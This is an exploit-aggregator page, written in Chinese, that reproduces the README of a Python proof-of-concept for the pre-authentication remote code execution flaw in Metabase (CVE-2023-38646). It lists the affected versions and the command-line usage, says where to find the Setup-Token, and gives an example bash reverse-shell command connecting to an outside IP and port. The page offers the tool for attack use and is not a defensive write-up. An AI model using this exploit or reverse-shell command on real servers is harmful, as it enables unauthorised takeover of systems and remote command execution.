Sploitus

Exploit for CVE-2023-38646

kitploit · 2026-08-25

Exploit Code

MARKDOWN37 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PYR0SEC-CVE-2023-38646
# Metabase 预认证 RCE (CVE-2023-38646) POC

这是一个Python脚本，利用Metabase登录软件的远程代码执行漏洞。它允许我们在认证之前，在服务器上执行任意命令。

受影响版本：Metabase开源版 0.46.6.1 之前，以及 Metabase Enterprise 1.46.6.1 之前。

## 用法

root@kitploit:~
    
    
    python3 exploit.py -u URL -t TOKEN -c COMMAND
    

## 参数

root@kitploit:~
    
    
    -h, --help            显示此帮助信息并退出
    -u URL, --url URL     目标URL
    -t TOKEN, --token TOKEN
                          在 /api/session/properties 中发现的 Setup-Token
    -c COMMAND, --command COMMAND
                          要在目标主机上执行的命令
    

## 示例

![image](https://assets.kitploit.com/production/public/readmes/19758/d024e66c39b68a6f65b9ce897da0aa7e8149aa0b975ee108d695ca6d4316d2af.png)

使用的命令：`bash -i >& /dev/tcp/10.10.14.26/9001 0>&1`

## 参考资料

连锁利用实现 Metabase 预认证 RCE (CVE-2023-38646)